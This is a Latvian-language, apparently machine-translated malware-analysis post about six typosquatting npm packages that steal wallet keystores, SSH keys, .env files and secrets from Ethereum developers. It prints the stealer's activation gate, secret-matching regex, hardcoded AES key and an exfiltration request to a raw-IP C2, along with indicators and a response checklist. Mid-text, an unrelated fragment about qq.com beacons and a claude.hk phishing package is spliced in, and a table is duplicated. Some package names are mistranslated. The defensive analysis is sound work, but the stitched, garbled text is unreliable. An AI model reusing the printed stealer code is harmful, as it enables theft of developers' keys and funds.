TL; DR
2026. gada 6. maijā viens npm izdevējs namikazesarada010206, izlaida sešas ļaunprātīgas pakotnes, kas bija vērstas pret Ethereum, Solidity un DeFi izstrādātāju ekosistēmu.
Paketes, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, un web3-utils-core, izmantoja ticamus nosaukumus, kas veidoti tā, lai izskatītos kā palīgbibliotēkas populāriem Web3 rīkiem.
Visos sešos iepakojumos bija viens un tas pats telemetry.js fails. Fails bija baiti identisks visā klasterī ar SHA-256:
Ļaunprogrammatūra netiek palaista instalēšanas laikā. Nav tādas preinstall or postinstall āķis. Tā vietā tas aktivizējas, kad pakotne tiek importēta, izmantojot require().
Šī detaļa ir svarīga.
Implants gaida, līdz izstrādātājs faktiski izmanto pakotni. Pēc tam tas pārbauda, vai darbstacija izskatās pēc īstas Ethereum/Solidity izstrādes vides. Tas meklē Alchemy vai Infura atslēgas, privātās atslēgas, mnemoniku, izvietotāja atslēgas vai lokālo Foundry direktoriju.
Ja resursdators sakrīt, zaglis apkopo SSH privātās atslēgas, Foundry/Geth/Brownie maka atslēgu krātuves, .env* failus un sensitīvus vides mainīgos. Tas šifrē pakotni ar AES-256-GCM, izmantojot cietkodētu paroli, un izfiltrē to uz neapstrādātu IPv4 C2 galapunktu ar atspējotu TLS verifikāciju.
Xygeni ļaunprogrammatūras agrīnās brīdināšanas (MEW) sistēma apstiprināja, ka visas sešas pakotnes ir ļaunprātīgas. npm reģistra noņemšanas ziņojumu pakete vēl nav pabeigta.
Klasteris: seši iepakojumi, viens izdevējs
Izdevēja konts namikazesarada010206 bija saistīts ar neverificētu Gmail adresi namikazesarada010206@gmail.com.
Kampaņa parādījās kā vienas dienas publikāciju sērija 2026. gada 6. maijā. Visas sešas pakotnes tika versijas kā 1.0.0, nebija nekādu izpildlaika atkarību un tika nosūtīti tikai trīs faili:
package.json index.js telemetry.js Viņi arī deklarēja to pašu avota krātuvi:
https://github.com/harunosakura030303-maker/evmchain-config Pirmās trīs pakotnes MEW skeneri uztvēra jau pirmajā publikācijā. Atlikušās trīs tika piespiedu kārtā atzīmētas pēc tam, kad analītiķi pārskatīja izdevēja npm profilu. Tiklīdz tie paši baitidentiskie telemetry.js tika apstiprināts visā klasterī, tie konsekvences dēļ tika slēgti kā ļaunprātīgi.
| Pakete | versija | npm Publicēts | MEW biļete | Spriedums |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Ļaunprātīga |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Ļaunprātīga |
| hardhat-core-utilīti | 1.0.0 | 2026-05-06 | #51051 | Ļaunprātīga |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Ļaunprātīgs pēc konsekvences |
| lietuves utilitātes | 1.0.0 | 2026-05-06 | #51071 | Ļaunprātīgs pēc konsekvences |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Ļaunprātīgs pēc konsekvences |
Nosaukumu stratēģija ir vienkārša, bet efektīva.
Šīs pakotnes neiemieso precīzus augšupējo serveru nosaukumus. Tā vietā tās izmanto ticamus “utilitātes” sufiksus, piemēram, -core, -utils, un -utils-coreTas liek tām izskatīties pēc pavadošajām bibliotēkām, kuras izstrādātājs varētu sagaidīt līdzās Web3 rīkiem.
| Ļaunprātīga pakotne | Likumīgs mērķis |
|---|---|
| viem-core | viem, populārs Ethereum TypeScript klients |
| viem-utils-core | Vīm |
| hardhat-core-utilīti | hardhat — plaši pazīstama Solidity izstrādes vide |
| evm-utils | Vispārīgā EVM rīku nosaukumtelpa |
| lietuves utilitātes | lietuve, Solidity instrumentu ķēde |
| web3-utils-core | web3 utilīti, Web3.js palīgi |
Šis ir “papildu paketes” modelis: nevis “es esmu īstā pakete”, bet gan “es izskatos pēc saprātīga palīga īstās paketes tuvumā”.
DeFi izstrādātājiem, kas rīkojas ātri, tas ir pietiekami, lai radītu risku.
Kas notiek, kad pakotne tiek importēta
Uzbrukumu ķēde ir maza, apzināta un vērsta uz kriptovalūtu izstrādes vidēm.
Nav uzstādīšanas āķa. Tā vietā katrā iepakojumā ir iekļauts index.js kas eksportē stupa funkcionalitāti un pēc tam ielādē ļaunprātīgo telemetrijas moduli.
require('./telemetry').init(); Tas nozīmē, ka ļaunprogrammatūra aktivizējas pirmās importēšanas laikā.
Tas ir operacionāli noderīgi uzbrucējam. Daudzi skeneri un smilškastes koncentrējas uz instalēšanas laika uzvedību. Šī pakotne gaida, līdz to faktiski izmanto izstrādātājs, būvēšanas skripts, testēšanas komplekts vai izpildlaika ceļš.
Aktivizācijas vārti: aktivizēt tikai īstās Web3 izstrādātāju darbstacijās
Vissvarīgākā implanta daļa ir aktivācijas vārti.
Ļaunprogrammatūra pārbauda vides mainīgos, kas parasti atrodami Ethereum/Solidity izstrādātāju datoros:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Tā arī pārbauda, vai Foundry ir instalēta:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ja neviens no nosacījumiem nav patiess, funkcija atgriež vērtību un neko nedara.
Tas padara pakotni klusāku vispārīgās analīzes vidēs. Smilškaste bez Foundry, Alchemy atslēgām, Infura atslēgām, privātajām atslēgām vai mnemonikas var redzēs nekaitīgi izskatīgu importu.
Atbilstošā resursdatorā ļaunprogrammatūra gaida 60 līdz 90 sekundes pirms apkopošanas:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Kavēšanās samazina acīmredzamo korelāciju starp importu un izfiltrāciju. .unref() izsaukums arī ļauj resursdatora procesam iziet normāli, ja pakotne tika importēta īslaicīgā skriptā.
Šī nav trokšņaina "smash-and-grab" uzvedība. Tā ir mērķtiecīga "zagšanas" metode, kas izstrādāta, lai izvairītos no palaišanas, ja vien izstrādātāja vide nav zagšanas vērta.
Ko zaglis kolekcionē
Kad aktivizācijas vārti ir izgājuši, ļaunprogrammatūra apkopo no avotiem, kuriem ir vissvarīgākie Web3 izstrādē: privātās atslēgas, maka atslēgu krātuves, izvietošanas akreditācijas datus, mākoņa noslēpumus, npm žetonus un lokālā projekta konfigurāciju.
| avots | Kas tiek apkopots |
|---|---|
| process.env | Jebkurš mainīgais, kas atbilst /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Faili, kas satur PRIVATE KEY vai BEGIN OPENSSH, ieskaitot pilnu faila saturu |
| ~/.foundry/atslēgu krātuves/* | Foundry maka atslēgu krātuves faili |
| ~/.ethereum/atslēgu krātuve/* | Geth maka atslēgu krātuves faili |
| ~/.brownie/accounts/* | Brownie maka atslēgu krātuves faili |
| ${cwd}/.env | Pilns faila saturs |
| ${cwd}/.env.local | Pilns faila saturs |
| ${cwd}/.env.production | Pilns faila saturs |
| ${cwd}/.env.development | Pilns faila saturs |
| os.hostname() | Resursdatora metadati |
| kripto.nejaušs UUID() | Upura/sesijas identifikators |
| Datums.tagad() | Kolekcijas laika zīmogs |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA žetoni ir:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Mēs neesam spējuši apstiprināt, vai telemetrija bija operatora paša analītika vai atsevišķi monetizēts kanāls. ATTA žetoni abos mūsu pārbaudītajos paraugos ir vienādi.
B klasteris: heibai
claude.hk OAuth pikšķerēšana + ANTHROPIC_BASE_URL nolaupīšana
1. aprīļa paraugs ir kampaņas rupjākā, agrākā daļa.
heibai:2.1.88-claude.hk-4 publicēja wuguoqiangvip28, konts, kas izveidots 2025. gada 7. jūnijā. Pakotne nepārprotami veidoja savu versiju pret likumīgo 2.1.88 Antropo atbrīvošana.
Tas neapgrūtina sevi ar CA sertifikāta MITM. Tā vietā tas lietotājam sniedz melus par OAuth galapunktu.
Ļaunprātīgie papildinājumi nopludinātajam Claude Code avotam ietver:
| avots | Kas tiek apkopots |
|---|---|
| process.env | Jebkurš mainīgais, kas atbilst /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Faili, kas satur PRIVATE KEY vai BEGIN OPENSSH, ieskaitot pilnu faila saturu |
| ~/.foundry/atslēgu krātuves/* | Foundry maka atslēgu krātuves faili |
| ~/.ethereum/atslēgu krātuve/* | Geth maka atslēgu krātuves faili |
| ~/.brownie/accounts/* | Brownie maka atslēgu krātuves faili |
| ${cwd}/.env | Pilns faila saturs |
| ${cwd}/.env.local | Pilns faila saturs |
| ${cwd}/.env.production | Pilns faila saturs |
| ${cwd}/.env.development | Pilns faila saturs |
| os.hostname() | Resursdatora metadati |
| kripto.nejaušs UUID() | Upura/sesijas identifikators |
| Datums.tagad() | Kolekcijas laika zīmogs |
Mērķu saraksts ir ļoti specifisks. Tā nav vispārēja pārlūkprogrammas zādzība vai plaša akreditācijas datu ieguve. Tas ir paredzēts izstrādātājiem, kuri veido, testē, ievieš vai pārvalda Ethereum lietojumprogrammas.
Īpaši svarīgi ir iekļaut Foundry, Geth un Brownie atslēgu krātuves. Šie faili var nodrošināt tiešu piekļuvi makiem vai izvietošanas identitātēm. Ja uzbrucējs var tos savienot kopā ar parolēm, mnemoniku vai vides noslēpumiem, viņš, iespējams, varēs pārvietot līdzekļus, uzdoties par izvietotājiem vai apdraudēt viedlīgumu darbības.
Šifrēšana pirms eksfiltrācijas
Ļaunprogrammatūra šifrē apkopotos datus pirms to nosūtīšanas.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Cietkodētā parole ir:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Galīgā slodze tiek ietīta kā JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Šifrēšana pati par sevi nepadara ļaunprogrammatūru sarežģītāku. Tomēr tā apgrūtina tīkla pārbaudi. Aizsargs, kas novēro izejošo datu plūsmu, redzētu JSON vērtumu, bet ne nozagtās atslēgas, maka failus vai citus datus. .env saturs bez cietkodētās paroles un atšifrēšanas loģikas.
Eksfiltrācija uz neapstrādātu IPv4 C2
Eksfiltrācijas ceļš ir cieti kodēts:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Ļaunprogrammatūra nosūta datus uz:
https://76.13.37.80:8443/api/v1/telemetry Izceļas divas detaļas.
Pirmkārt, C2 ir neapstrādāta IPv4 adrese, nevis domēns. Tas novērš nepieciešamību pēc domēna reģistrācijas un novērš dažas uz domēnu balstītas noteikšanas.
Otrkārt, TLS verifikācija ir atspējota ar:
rejectUnauthorized: false Tas ļauj ļaunprogrammatūrai pieņemt jebkuru sertifikātu, tostarp pašparakstītus sertifikātus. Citiem vārdiem sakot, uzbrucējs iegūst šifrētu datu pārraidi, neprasot derīgu publisku sertifikātu.
Nav atkārtotas mēģināšanas loģikas un nav rezerves resursdatora. Kļūdas tiek nemanāmi ignorētas. Tas nodrošina, ka pakotne nedarbojas, ja C2 ir bezsaistē vai nesasniedzams.
Kāpēc šī kampaņa ir svarīga
Lielākā daļa ļaunprātīgo npm pakotņu, kas paredzētas izstrādātājiem, izmanto plaša profila akreditācijas datus: npm žetonus, AWS atslēgas, GitHub žetonus vai .npmrc faili.
Šī kampaņa sašaurina mērķauditoriju.
Tas meklē pazīmes, ka iekārta pieder Ethereum vai Solidity izstrādātājam. Pēc tam tas izvelk tieši tos resursus, kuriem ir nozīme šajā vidē: maka atslēgu krātuves, privātās atslēgas, mnemoniku, izvietotāja atslēgas, .env faili un SSH atslēgas.
Tas padara kampaņu bīstamāku Web3 komandām nekā vispārēju npm zagli.
Veiksmīga inficēšanās var atklāt:
- Izvietošanas maki
- Viedā līguma administratora atslēgas
- RPC nodrošinātāja atslēgas
- Mākoņa izvietošanas akreditācijas dati
- npm publicēšanas žetoni
- SSH piekļuve izstrādātāja vai būvējuma infrastruktūrai
- Projekta noslēpumi glabājas
.envfaili - Maka atslēgu glabātuves Foundry, Geth vai Brownie spēlēm
Arī pakotņu nosaukumi skaidri parāda sociālo inženieriju. Tie ir vērsti uz Web3 izstrādātāju ekosistēmu, izmantojot pazīstamus rīku nosaukumus: viem, hardhat, foundry, evm, un web3.
Dalībniekam nav jāapdraud reālie projekti. Viņiem tikai nepieciešams izstrādātājs, lai instalētu kaut ko līdzīgu saprātīgai pavadošajai pakotnei.
Kompromitācijas un atklāšanas indikatori
| Pakotnes un izdevējs | |
|---|---|
| Lauks | Vērtība |
| npm izdevējs | namikazesarada010206 |
| Izdevēja e-pasts | namikazesarada010206@gmail.com |
| E-pasts verificēts | Nē |
| SCM pārbaudīts | Nē |
| Reputācijas rādītājs | 1.0 |
| Paketes | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, liešanas-utils, web3-utils-core |
| versijas | Visi 1.0.0 |
| Avota krātuve | https://github.com/harunosakura030303-maker/evmchain-config |
| Apstiprināts ļaunprātīgs | Visas sešas paketes |
| tīkls | |
|---|---|
| Veids | Vērtība |
| C2 galapunkts | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 ports | 8443/tcp |
| TLS darbība | noraidītNeautorizēts: false |
| Derīgās slodzes shēma | {"v":2,"iv": ,,d": ,"t": } |
| Faili un jaucējkodas | |
|---|---|
| Veids | Vērtība |
| telemetrija.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Iepakojuma izkārtojums | package.json, index.js, telemetry.js |
| Failu skaits | 3 |
| Aptuvenais kopējais izmērs | 3.4 KB |
Aktivizācijas signāli
Ļaunprogrammatūra pārbauda šādus vides mainīgos:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Tā arī pārbauda:
~/.foundry/ Mērķtiecīgi resursdatora ceļi
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Kolekcijas regulārā izteiksme
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Noteikšanas piezīmes
Vairāki noteikumi aptver šo kampaņu bez nepieciešamības pēc pilnīgas uzvedības analīzes.
Vispirms skenējiet bloķēšanas failus, lai atrastu sešus ļaunprātīgu pakotņu nosaukumus:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Jebkura spēle package-lock.json, yarn.lock, pnpm-lock.yaml, vai node_modules vēsture jāuztver kā nopietns notikums.
Otrkārt, uzraugiet Node.js procesus, kas lasa maka atslēgu krātuves ceļus:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Šāda rīcība reti ir likumīga pakotnei, kas importēta kā palīgatkarība. Tā ir īpaši aizdomīga, ja tai seko izejošā tīkla aktivitāte.
Treškārt, bloķējiet vai brīdiniet par HTTPS savienojumiem ar:
76.13.37.80:8443 It īpaši, ja pieprasījuma ceļš ir:
/api/v1/telemetry Ceturtkārt, meklējiet npm pakotnes, kas apvieno šīs īpašības:
- Jauns vai zemas reputācijas izdevējs
- Nepārbaudīts Gmail konts
- Web3 blakus esošās pakotnes nosaukums
- Nav nozīmīgas repozitorija vēstures
- Neliela iepakojuma izkārtojums
index.jskas ielādē telemetrijas vai palīgfailu- Nav izpildlaika atkarību
- Jūtīga vides mainīgo kolekcija
- Piekļuve maka atslēgu krātuvei
Šis modelis ir noderīgāks nekā viena IOC, jo nākamā pakotne var mainīt IP adresi, bet saglabāt to pašu mērķauditorijas atlases loģiku.
Kompromisa atbildes kontrolsaraksts
Ja izstrādātājs izmantoja vienu no sešām pakotnēm un viņa vide atbilda aktivizācijas vārtiem, darbstacija jāuzskata par apdraudētu.
Tas ietver mašīnas ar instalētu Foundry, Alchemy vai Infura atslēgas vidē, privātās atslēgas, mnemoniku vai izvietotāja atslēgas.
Ieteicamā atbilde:
- Atvienojiet resursdatoru no tīkla.
- Saglabāt
node_modules, bloķēšanas failus, čaulas vēsturi un attiecīgos žurnālus forenzikai. - Rotēt katru SSH atslēgu pāri zem
~/.ssh/. - Rotēt maka atslēgas katrai atslēgu krātuvei sadaļā
~/.foundry,~/.ethereum, un~/.brownie. - Pārskaitiet līdzekļus uz jauniem makiem.
- Pagrieziet katru saglabāto noslēpumu
.env*faili repozitorijos, kuros izstrādātājs strādāja. - Rotējiet vides noslēpumus, kas atbilst kolekcijas regulārajai izteiksmei, tostarp AWS atslēgas, npm žetonus, izvietošanas žetonus, API atslēgas, privātās atslēgas, sēklas un mnemoniku.
- Audita mākoņa, npm, GitHub, RPC pakalpojumu sniedzēja un blokķēdes aktivitātes kopš pakotnes pirmās instalēšanas.
- Pirms atkārtotas lietošanas atkārtoti izveidojiet darbstacijas attēlu.
Kas aizstāvjiem būtu jāņem līdzi
Šī kampaņa parāda, kā npm typosquatting attīstās augstas vērtības izstrādātāju ekosistēmās.
Aktierim nebija nepieciešama neatlaidība. Viņiem nebija nepieciešama obfuskācija. Viņiem pat nebija nepieciešama izpilde instalēšanas laikā.
Tā vietā viņi paļāvās uz trim lietām:
- Iespējamie Web3 pakotņu nosaukumi
- Aktivizēšana tikai reālās kriptovalūtu izstrādes ierīcēs
- Tieša failu un noslēpumu zādzība, kas ir vissvarīgākie Ethereum izstrādātājiem
Tas padara kampaņu viegli nepamanāmu plašā skatījumā un bīstamu, kad tā nonāk pareizajā vidē.
Web3 komandām mācība ir skaidra: uztveriet atkarību nosaukumus kā daļu no sava draudu modeļa. Pakotne, kas izskatās pēc nekaitīga palīga, joprojām var kļūt par īsāko ceļu uz maka kompromitēšanu.
Ziņots npm reģistram. Mēs atjaunināsim šo ierakstu, kad izdevēja konts un pakotnes tiks noņemtas.




